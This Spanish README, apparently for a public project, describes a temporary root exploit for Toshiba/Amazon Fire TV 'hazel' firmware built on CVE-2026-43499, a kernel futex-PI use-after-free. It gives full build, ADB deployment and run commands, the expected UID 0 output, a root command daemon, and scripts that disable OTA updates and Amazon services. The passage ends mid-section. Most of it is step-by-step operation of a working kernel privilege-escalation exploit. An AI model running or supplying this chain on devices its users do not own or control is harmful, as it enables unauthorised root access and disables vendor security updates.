
Exploit de root temporal específico de firmware para Toshiba/Amazon Fire TV (hazel) mediante CVE-2026-43499. Implementa UAF de futex-PI en ARM32, fuga de direcciones del kernel, reclamación de mm_struct y parcheo de credenciales para lograr UID 0 a través de ADB.
Exploit de root temporal para la plataforma Amazon hazel Fire TV, basado en
CVE-2026-43499. El exploit está destinado al firmware ARM32
Linux 4.9 compartido por los televisores Hazel de varios fabricantes.
Los perfiles actualmente cubren firmware desde PS7657.3645N hasta PS7716.5665N.
La configuración actual probada en hardware es:
| Dispositivo | Toshiba Fire TV (hazel) |
| Compilación de Fire OS | PS7716.5665N |
| Kernel | Linux 4.9.113 |
| Modelo de producto | AFTHA004 (C350) |
[!WARNING] Este exploit sigue siendo específico del firmware aunque admite múltiples versiones de Hazel. Las direcciones del kernel, los desplazamientos de estructuras y los ajustes de recuperación se cargan desde perfiles estrictos.
PS7716.5665Nestá probado en hardware; los perfiles incluidos más antiguos se basan en análisis estático del firmware y aún necesitan informes de televisores coincidentes.No omita la coincidencia de perfiles ni copie manualmente direcciones a un firmware no relacionado. Los perfiles generados estáticamente aún requieren confirmación en hardware coincidente.
Una recuperación de heap fallida puede provocar un pánico y reiniciar el televisor. El root es temporal y se pierde tras el reinicio. Si su televisor se congela, siempre puede apagarlo y encenderlo de nuevo.
El exploit utiliza CVE-2026-43499 para obtener UID 0 temporal desde el entorno normal de shell ADB.
La cadena de explotación incluye:
mm_structTras una ejecución exitosa, el exploit mantiene vivos los objetos del kernel requeridos por la ruta de root e inicia un demonio local de comandos.
SELinux permanece en modo Enforcing. Los comandos ejecutados a través del demonio root conservan el dominio SELinux shell y el conjunto de capacidades límite disponible en este firmware.
hazel_root.c exploit principal, etapa de lectura/escritura del kernel, parcheo de credenciales y cliente/servidor de comandos roothazel_reclaim.h filtración de direcciones del kernel y recuperación cross-cache de mm_structhazel_profile.c, hazel_profile.h analizador estricto de perfiles y comparador en tiempo de ejecuciónprofiles/ perfiles de firmware revisados y generadostools/profile_creator/ analizador de firmware en Python/uv y creador de perfiles compatiblestools/device_scripts/ utilidades opcionales de OTA, servicios de Amazon y launcherLos ejemplos a continuación asumen Linux y que adb está disponible en $PATH.
Establezca NDK en el directorio de su Android NDK r27d:
export NDK=/path/to/android-ndk-r27d
Luego compila:
"$NDK/toolchains/llvm/prebuilt/linux-x86_64/bin/clang" \
--target=armv7a-linux-androideabi28 \
-O2 -g0 -Wall -Wextra -Wpedantic -fPIE -pie \
hazel_root.c hazel_profile.c -o hazel_root \
-pthread
Conéctese al TV usando ADB.
Si utiliza ADB por red:
adb connect <TV_IP>:5555
Enviar el exploit:
adb shell mkdir -p /data/local/tmp/profiles
adb push hazel_root /data/local/tmp/hazel_root
adb shell chmod 755 /data/local/tmp/hazel_root
adb push profiles/. /data/local/tmp/profiles/
Verificar la selección de perfil sin activar el exploit:
adb shell 'cd /data/local/tmp && ./hazel_root --check-profile'
El cargador requiere coincidencias exactas para ro.product.device, la huella de compilación, la versión incremental, la versión del kernel y la arquitectura. Rechaza perfiles malformados, campos desconocidos, rutas de exploit no compatibles, coincidencias ausentes y múltiples perfiles coincidentes. Se puede verificar un perfil explícito con:
adb shell 'cd /data/local/tmp && ./hazel_root --check-profile --profile profiles/PROFILE.conf'
Comenzar desde un arranque limpio:
adb shell 'cd /data/local/tmp && ./hazel_root'
Una ejecución exitosa termina con una salida similar a:
[root] uid=0 euid=0 gid=0
[ROOT] uid=0 daemon pid=... socket=@hazel_root
La recuperación es probabilística. Un intento fallido puede fallar limpiamente o provocar un pánico y reiniciar el televisor.
Si el televisor se reinicia, deja que arranque con normalidad e inténtalo de nuevo.
Una vez que el exploit tenga éxito, no lances otra copia. Puedes cerrar el proceso en ejecución y continuar con los siguientes comandos.
El mismo binario actúa como cliente del demonio root:
adb shell 'cd /data/local/tmp && ./hazel_root --client id'
Por ejemplo:
adb shell 'cd /data/local/tmp && ./hazel_root --client getenforce'
adb shell 'cd /data/local/tmp && ./hazel_root --client cat /proc/self/status'
adb shell 'cd /data/local/tmp && ./hazel_root --client "id; uname -a"'
Un comando root exitoso debería reportar:
uid=0(root) gid=0(root) context=u:r:shell:s0
Ten en cuenta que el UID 0 no omite SELinux. SELinux permanece en modo Enforcing.
Envía y ejecuta tools/device_scripts/disable_ota.sh a través del daemon root:
adb push tools/device_scripts/disable_ota.sh /data/local/tmp/disable_ota.sh
adb shell chmod 755 /data/local/tmp/disable_ota.sh
adb shell 'cd /data/local/tmp && ./hazel_root --client "sh /data/local/tmp/disable_ota.sh"'
El script desactiva ambos paquetes OTA de Fire OS, borra el estado pendiente del actualizador y verifica el estado resultante del Gestor de Paquetes. No reinicia el televisor.
tools/device_scripts/disable_amazon_services.sh desactiva el proxy de configuración remota Arcus, el servicio de bloqueo de aplicaciones ADEP, el Reconocimiento Automático de Contenido (ACR) y los paquetes de métricas dedicados de Amazon presentes en el firmware Hazel probado. ACR se desactiva y sus datos almacenados se borran, pero su APK de sistema de solo lectura no se elimina, lo que hace que la operación sea reversible. El script no desactiva CrashManager ni los paquetes de registro de bajo nivel, por lo que el diagnóstico de pánico del kernel y de Dropbox permanece disponible durante el desarrollo o la resolución de problemas del exploit.
Envía el script y ejecútalo a través del daemon root:
adb push tools/device_scripts/disable_amazon_services.sh /data/local/tmp/disable_amazon_services.sh
adb shell chmod 755 /data/local/tmp/disable_amazon_services.sh
adb shell 'cd /data/local/tmp && ./hazel_root --client "sh /data/local/tmp/disable_amazon_services.sh"'
Muestra el estado actual sin cambiar nada:
adb shell 'cd /data/local/tmp && ./hazel_root --client "sh /data/local/tmp/disable_amazon_services.sh status"'
Restaura los paquetes más tarde si es necesario:
adb shell 'cd /data/local/tmp && ./hazel_root --client "sh /data/local/tmp/disable_amazon_services.sh restore"'
El estado habilitado o deshabilitado del paquete normalmente sobrevive a un reinicio. Restaurar los paquetes no restaura los datos del paquete borrados al deshabilitarlos.
Los scripts del lanzador también están en tools/device_scripts/. Para seleccionar Projectivy: